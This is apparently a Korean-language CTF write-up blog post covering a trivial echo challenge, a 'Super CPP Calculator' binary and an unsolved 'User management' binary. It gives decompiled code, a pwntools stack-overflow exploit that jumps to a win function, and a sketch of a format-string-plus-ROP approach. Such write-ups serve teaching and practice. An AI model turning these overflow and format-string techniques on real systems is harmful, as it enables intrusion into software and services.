[ solved ]
misc / Mic Check
더보기
그냥 echo 구현해주면 되는 문제
from pwn import *
context.log_level = 'debug'
p = remote('34.134.200.24', 30373)
for _ in range(100):
p.recvuntil(b'> ')
echo = p.recvuntil(b' ')[:-1]
p.sendlineafter('>',echo)
p.interactive()
pwn / Super CPP Calculator
더보기
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
calc_st calc; // [rsp+0h] [rbp-20h] BYREF
int menu_num; // [rsp+1Ch] [rbp-4h] BYREF
menu_num = 0;
Calculator::Calculator(&calc);
setup();
while ( 1 )
{
while ( 1 )
{
banner();
printf("> ");
__isoc99_scanf("%d", &menu_num);
if ( menu_num != 1337 )
break;
Calculator::Backdoor(&calc);
}
if ( menu_num <= 1337 )
{
if ( menu_num == 1 )
{
Calculator::setnumber_floater(&calc);
}
else if ( menu_num == 2 )
{
Calculator::setnumber_integer(&calc);
}
}
}
}
void __fastcall Calculator::Calculator(calc_st *this)
{
this->int1 = 0;
this->int2 = 0;
this->sum_int = 0;
this->float1 = 0;
this->float2 = 0;
this->div_float = 0;
this->int1 = 0;
this->int2 = 0;
this->sum_int = 0;
this->float1 = 0;
this->float2 = 0;
this->div_float = 0;
this->result = 0;
}
ssize_t __fastcall Calculator::Backdoor(calc_st *this)
{
ssize_t result; // rax
__int64 buf[128]; // [rsp+10h] [rbp-400h] BYREF
memset(buf, 0, sizeof(buf));
result = this->result;
if ( result )
{
puts("Create note");
printf("> ");
return read(0, buf, this->result);
}
return result;
}
calc_st *__fastcall Calculator::setnumber_floater(calc_st *this)
{
calc_st *result; // rax
puts("Floater Calculator");
printf("> ");
__isoc99_scanf("%f", &this->float1);
printf("> ");
__isoc99_scanf("%f", &this->float2);
if ( *&this->float1 < 0.0 || *&this->float2 < 0.0 || *&this->float1 > 10.0 || *&this->float2 > 10.0 )
{
printf("No Hack");
exit(1);
}
if ( checkDecimalPlaces(*&this->float1) != 1 )
{
this->float1 = 0x3F800000;
this->float2 = 0x3F800000;
}
*&this->div_float = *&this->float1 / *&this->float2;
this->result = *&this->div_float;
result = this->result;
if ( result < 0 )
{
result = this;
--this->result;
}
return result;
}
calc_st *__fastcall Calculator::setnumber_integer(calc_st *this)
{
calc_st *result; // rax
puts("Integer Calculator");
printf("> ");
__isoc99_scanf("%d", this);
printf("> ");
__isoc99_scanf("%d", &this->int2);
if ( this->int1 < 0 || this->int2 < 0 || this->int1 > 0xA || this->int2 > 0xA )
{
printf("No Hack");
exit(1);
}
this->sum_int = this->int2 + this->int1;
result = this;
this->result = this->sum_int;
return result;
}
backdoor 함수를 보면 result의 값이 read의 사이즈가 된다.
setnumber_floater 함수에서 큰 소수를 작은 소수로 나누게 되면 값이 커지는데
이를 이용해서 bof를 트리거할 수 있다.
win 함수가 존재하고 canary, pie 없으므로 익스는 간단하다.
from pwn import *
# p = process('./test')
p = remote('34.66.114.153', 30734)
def float_calc(f1,f2):
p.sendlineafter(b'>',b'1')
p.sendlineafter(b'>',str(f1).encode())
p.sendlineafter(b'>',str(f2).encode())
def backdoor(pay):
p.sendlineafter(b'>',b'1337')
p.sendlineafter(b'>',pay)
win = 0x401740
f1 = 9.99999999999999999
f2 = 0.001
float_calc(f1,f2)
pay = b'A'*0x408 + p64(win+8)
backdoor(pay)
p.interactive()
[ unsolved ]
pwn / User management
더보기
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int menu_num; // [rsp+Ch] [rbp-4h] BYREF
setup();
while ( loop_flag )
{
menu();
printf("Enter choice: ");
__isoc99_scanf("%1d", &menu_num);
while ( getchar() != '\n' )
;
switch ( menu_num )
{
case 1:
admin_login();
break;
case 2:
create_user();
break;
case 3:
user_login();
break;
case 4:
if ( uid == 0xFFFFFFFE )
{
printf("\x1B[1;31m");
puts("You are not logged in");
}
else
{
uid = 0xFFFFFFFE;
printf("\x1B[1;32m");
puts("Logged out");
}
printf("\x1B[0m");
break;
case 5:
view_desc();
break;
case 6:
printf("\x1B[1;32m");
puts("see ya later");
printf("\x1B[0m");
loop_flag = 0;
break;
default:
printf("\x1B[1;31m");
puts("Invalid choice");
printf("\x1B[0m");
break;
}
}
return 0LL;
}
unsigned __int64 admin_login()
{
int i; // [rsp+Ch] [rbp-44h]
char id[32]; // [rsp+10h] [rbp-40h] BYREF
char pw[24]; // [rsp+30h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+48h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 7; ++i )
password[i] = rand();
puts("what do you want to do here?");
fgets(s1, 0x15, stdin);
if ( !strncmp(s1, "manage users", 0xCuLL) )
{
printf("Enter username: ");
__isoc99_scanf("%19s", id);
printf("Enter password: ");
__isoc99_scanf("%19s", pw);
if ( !strcmp(pw, password) && !strcmp(id, username) )
{
uid = 0xFFFFFFFF;
printf("\x1B[1;32m");
puts("Logged in as admin");
printf("\x1B[0m");
}
else
{
printf("\x1B[1;31m");
puts("Wrong username or password");
printf("\x1B[0m");
}
}
else
{
printf("\x1B[1;31m");
puts("You are not allowed to do that!!");
printf("\x1B[0m");
}
return v4 - __readfsqword(0x28u);
}
int create_user()
{
int i; // [rsp+Ch] [rbp-4h]
if ( uid == 0xFFFFFFFF )
{
if ( count > 1 )
{
printf("\x1B[1;31m");
puts("No more space for users");
return printf("\x1B[0m");
}
else
{
printf("Enter username: ");
fgets(user_info[count].username, 0x1E, stdin);
printf("Enter password: ");
fgets(user_info[count].password, 0x1E, stdin);
printf("Enter description: ");
fgets(user_info[count].desc, 0x131, stdin);
for ( i = 0; i < count; ++i )
{
if ( !strcmp(user_info[i].username, user_info[count].username) )
{
printf("\x1B[1;31m");
puts("User already exists");
return printf("\x1B[0m");
}
}
printf("\x1B[1;32m");
puts("User created successfully");
printf("\x1B[0m");
return ++count;
}
}
else
{
printf("\x1B[1;31m");
puts("You need to be logged in as admin to create a new user");
return printf("\x1B[0m");
}
}
unsigned __int64 user_login()
{
int idx; // [rsp+Ch] [rbp-54h]
char id[32]; // [rsp+10h] [rbp-50h] BYREF
char pw[40]; // [rsp+30h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+58h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( uid == 0xFFFFFFFE )
{
printf("Enter username: ");
fgets(id, 0x1E, stdin);
printf("Enter password: ");
fgets(pw, 0x1E, stdin);
for ( idx = 0; idx <= 1; ++idx )
{
if ( !strcmp(user_info[idx].username, id) && !strcmp(user_info[idx].password, pw) )
{
uid = idx;
printf("\x1B[1;32m");
printf("Logged in as %s\n", id);
printf("\x1B[0m");
return v4 - __readfsqword(0x28u);
}
}
printf("\x1B[1;31m");
puts("Wrong username or password");
printf("\x1B[0m");
}
else
{
printf("\x1B[1;31m");
puts("You are already logged in");
printf("\x1B[0m");
}
return v4 - __readfsqword(0x28u);
}
unsigned __int64 view_desc()
{
char s[312]; // [rsp+0h] [rbp-140h] BYREF
unsigned __int64 v2; // [rsp+138h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( (unsigned int)uid < 0xFFFFFFFE )
{
qmemcpy(s, user_info[uid].desc, 0x131uLL);
if ( strchr(s, '$') )
{
puts("fr!? what is this description dude??");
}
else
{
printf("The description for: ");
printf(user_info[uid].username);
printf(" is: ");
printf(s);
putchar(0xA);
}
}
else
{
printf("\x1B[1;31m");
puts("You need to be logged in to see the description");
printf("\x1B[0m");
}
return v2 - __readfsqword(0x28u);
}
strcmp는 길이 제한이 없어서 하나만 입력해 1번째 문자와 동일하면 true를 받을 수 있다.
그렇게 fsb와 rop로 연계시켜주면 된다.
(full relro라서 got overwrite 불가능)
'CTF' 카테고리의 다른 글
CSAW CTF 2024 Quals (Pwn) (0) | 2024.09.15 |
---|---|
SEKAI CTF 2024 (Pwn) - nolibc (0) | 2024.08.26 |
ImaginaryCTF 2024 (Pwn) (5) | 2024.07.22 |
DownUnderCTF 2024 (Pwn) (0) | 2024.07.08 |
[hxpCTF 2020] kernel-rop (with write-up) (2) (0) | 2024.06.30 |